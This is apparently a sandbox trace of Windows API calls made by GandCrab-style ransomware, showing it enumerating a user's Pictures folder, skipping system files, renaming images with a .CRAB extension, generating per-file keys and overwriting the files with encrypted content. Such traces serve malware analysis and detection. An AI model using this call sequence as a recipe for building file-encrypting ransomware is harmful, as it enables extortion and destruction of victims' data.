	[0133.847] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3248fb0) returned 1
	[0133.847] CryptGetKeyParam (in: hKey=0x3248fb0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0133.847] CryptEncrypt (in: hKey=0x3248fb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0133.847] GetLastError () returned 0x0
	[0133.847] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0133.847] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\v68NdgPpq-11PAYAj-o.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\v68ndgppq-11payaj-o.gif.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0133.848] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0133.848] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0133.849] ReadFile (in: hFile=0x3e8, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314d46c*=0x2ee3, lpOverlapped=0x0) returned 1
	[0133.861] VirtualAlloc (lpAddress=0x0, dwSize=0x2ef0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0133.861] VirtualAlloc (lpAddress=0x0, dwSize=0x2ef0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0133.862] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.862] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffffd11d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.862] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x2ef0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0x2ef0, lpOverlapped=0x0) returned 1
	[0133.862] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.862] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.866] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0133.866] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0133.866] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0133.867] CloseHandle (hObject=0x3e8) returned 1
	[0133.867] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.867] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.867] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.867] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.868] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.868] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.868] FindNextFileW (in: hFindFile=0x320ded0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0133.868] lstrcmpW (lpString1="wmA0gqfz68K7nuIBLqw.gif", lpString2=".") returned 1
	[0133.868] lstrcmpW (lpString1="wmA0gqfz68K7nuIBLqw.gif", lpString2="..") returned 1
	[0133.868] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="wmA0gqfz68K7nuIBLqw.gif" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\wmA0gqfz68K7nuIBLqw.gif") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\wmA0gqfz68K7nuIBLqw.gif"
	[0133.868] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.868] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\wmA0gqfz68K7nuIBLqw.gif") returned 54
	[0133.869] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\wmA0gqfz68K7nuIBLqw.gif") returned 54
	[0133.869] lstrlenW (lpString=".gif") returned 4
	[0133.869] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.870] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".gif ") returned 5
	[0133.870] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.871] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\wmA0gqfz68K7nuIBLqw.gif") returned 54
	[0133.871] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\wmA0gqfz68K7nuIBLqw.gif") returned 54
	[0133.871] lstrcmpiW (lpString1="wmA0gqfz68K7nuIBLqw.gif", lpString2="desktop.ini") returned 1
	[0133.871] lstrcmpiW (lpString1="wmA0gqfz68K7nuIBLqw.gif", lpString2="autorun.inf") returned 1
	[0133.871] lstrcmpiW (lpString1="wmA0gqfz68K7nuIBLqw.gif", lpString2="ntuser.dat") returned 1
	[0133.871] lstrcmpiW (lpString1="wmA0gqfz68K7nuIBLqw.gif", lpString2="iconcache.db") returned 1
	[0133.871] lstrcmpiW (lpString1="wmA0gqfz68K7nuIBLqw.gif", lpString2="bootsect.bak") returned 1
	[0133.871] lstrcmpiW (lpString1="wmA0gqfz68K7nuIBLqw.gif", lpString2="boot.ini") returned 1
	[0133.871] lstrcmpiW (lpString1="wmA0gqfz68K7nuIBLqw.gif", lpString2="ntuser.dat.log") returned 1
	[0133.871] lstrcmpiW (lpString1="wmA0gqfz68K7nuIBLqw.gif", lpString2="thumbs.db") returned 1
	[0133.871] lstrcmpiW (lpString1="wmA0gqfz68K7nuIBLqw.gif", lpString2="CRAB-DECRYPT.txt") returned 1
	[0133.871] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.871] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\wmA0gqfz68K7nuIBLqw.gif.CRAB") returned 59
	[0133.871] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\wmA0gqfz68K7nuIBLqw.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\wma0gqfz68k7nuiblqw.gif")) returned 0x20
	[0133.871] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\wmA0gqfz68K7nuIBLqw.gif", dwFileAttributes=0x20) returned 1
	[0133.872] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\wmA0gqfz68K7nuIBLqw.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\wma0gqfz68k7nuiblqw.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\wmA0gqfz68K7nuIBLqw.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\wma0gqfz68k7nuiblqw.gif.crab")) returned 1
	[0133.873] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0133.873] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\wmA0gqfz68K7nuIBLqw.gif.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\wmA0gqfz68K7nuIBLqw.gif.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\wmA0gqfz68K7nuIBLqw.gif.CRAB"
	[0133.873] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\wmA0gqfz68K7nuIBLqw.gif.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\wmA0gqfz68K7nuIBLqw.gif.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\wmA0gqfz68K7nuIBLqw.gif.CRAB.CRAB"
	[0133.873] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6ed98) returned 1
	[0133.874] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.875] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.875] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.875] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0133.875] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0133.875] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.875] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0133.876] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.877] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.877] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.877] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0133.877] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.877] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.877] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0133.878] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0133.878] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0133.879] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3248e30) returned 1
	[0133.879] CryptGetKeyParam (in: hKey=0x3248e30, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0133.879] CryptEncrypt (in: hKey=0x3248e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0133.880] GetLastError () returned 0x0
	[0133.880] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.880] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6eb78) returned 1
	[0133.881] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3249370) returned 1
	[0133.881] CryptGetKeyParam (in: hKey=0x3249370, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0133.881] CryptEncrypt (in: hKey=0x3249370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0133.881] GetLastError () returned 0x0
	[0133.881] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0133.881] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\wmA0gqfz68K7nuIBLqw.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\wma0gqfz68k7nuiblqw.gif.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0133.882] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0133.882] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0133.882] ReadFile (in: hFile=0x3e8, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314d46c*=0x447d, lpOverlapped=0x0) returned 1
	[0133.894] VirtualAlloc (lpAddress=0x0, dwSize=0x4480, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0133.895] VirtualAlloc (lpAddress=0x0, dwSize=0x4480, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0133.896] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.896] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffffbb83, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.896] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x4480, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0x4480, lpOverlapped=0x0) returned 1
	[0133.896] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.896] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.903] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0133.904] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0133.904] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0133.904] CloseHandle (hObject=0x3e8) returned 1
	[0133.904] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.904] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.904] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.905] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.905] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.905] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.905] FindNextFileW (in: hFindFile=0x320ded0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0133.905] lstrcmpW (lpString1="YP -8.bmp", lpString2=".") returned 1
	[0133.905] lstrcmpW (lpString1="YP -8.bmp", lpString2="..") returned 1
	[0133.905] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="YP -8.bmp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\YP -8.bmp") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\YP -8.bmp"
	[0133.905] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.906] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\YP -8.bmp") returned 40
	[0133.906] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\YP -8.bmp") returned 40
	[0133.906] lstrlenW (lpString=".bmp") returned 4
	[0133.906] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.906] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".bmp ") returned 5
	[0133.906] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.906] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\YP -8.bmp") returned 40
	[0133.906] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\YP -8.bmp") returned 40
	[0133.906] lstrcmpiW (lpString1="YP -8.bmp", lpString2="desktop.ini") returned 1
	[0133.907] lstrcmpiW (lpString1="YP -8.bmp", lpString2="autorun.inf") returned 1
	[0133.907] lstrcmpiW (lpString1="YP -8.bmp", lpString2="ntuser.dat") returned 1
	[0133.907] lstrcmpiW (lpString1="YP -8.bmp", lpString2="iconcache.db") returned 1
	[0133.907] lstrcmpiW (lpString1="YP -8.bmp", lpString2="bootsect.bak") returned 1
	[0133.907] lstrcmpiW (lpString1="YP -8.bmp", lpString2="boot.ini") returned 1
	[0133.907] lstrcmpiW (lpString1="YP -8.bmp", lpString2="ntuser.dat.log") returned 1
	[0133.907] lstrcmpiW (lpString1="YP -8.bmp", lpString2="thumbs.db") returned 1
	[0133.907] lstrcmpiW (lpString1="YP -8.bmp", lpString2="CRAB-DECRYPT.txt") returned 1
	[0133.907] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.907] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\YP -8.bmp.CRAB") returned 45
	[0133.907] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\YP -8.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\yp -8.bmp")) returned 0x20
	[0133.907] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\YP -8.bmp", dwFileAttributes=0x20) returned 1
	[0133.908] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\YP -8.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\yp -8.bmp"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\YP -8.bmp.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\yp -8.bmp.crab")) returned 1
	[0133.909] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0133.909] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\YP -8.bmp.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\YP -8.bmp.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\YP -8.bmp.CRAB"
	[0133.909] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\YP -8.bmp.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\YP -8.bmp.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\YP -8.bmp.CRAB.CRAB"
	[0133.909] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6ed98) returned 1
	[0133.910] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.911] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.911] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.911] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0133.911] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0133.911] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.911] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e5a0) returned 1
	[0133.912] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.913] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.913] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.913] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0133.913] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0133.913] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.913] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0133.913] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0133.914] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0133.915] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x32490f0) returned 1
	[0133.915] CryptGetKeyParam (in: hKey=0x32490f0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0133.915] CryptEncrypt (in: hKey=0x32490f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0133.915] GetLastError () returned 0x0
	[0133.915] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.915] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0133.917] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3249170) returned 1
	[0133.917] CryptGetKeyParam (in: hKey=0x3249170, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0133.917] CryptEncrypt (in: hKey=0x3249170, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0133.917] GetLastError () returned 0x0
	[0133.917] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.917] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\YP -8.bmp.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\yp -8.bmp.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0133.918] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0133.918] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0133.918] ReadFile (in: hFile=0x3e8, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314d46c*=0x1fc9, lpOverlapped=0x0) returned 1
	[0133.930] VirtualAlloc (lpAddress=0x0, dwSize=0x1fd0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0133.931] VirtualAlloc (lpAddress=0x0, dwSize=0x1fd0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0133.931] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.935] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffffe037, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.935] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x1fd0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0x1fd0, lpOverlapped=0x0) returned 1
	[0133.935] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.936] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.939] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0133.940] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0133.940] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0133.940] CloseHandle (hObject=0x3e8) returned 1
	[0133.940] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.940] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.941] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.941] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.941] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
